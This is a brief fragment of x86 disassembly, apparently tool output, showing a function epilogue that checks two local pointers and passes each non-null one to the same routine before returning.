call fcn.004518ee
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41ef16
push ebx
call fcn.004518e8
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41ef26
push ebx
call fcn.004518e8
add esp, 4
mov esp, ebp
pop ebp
ret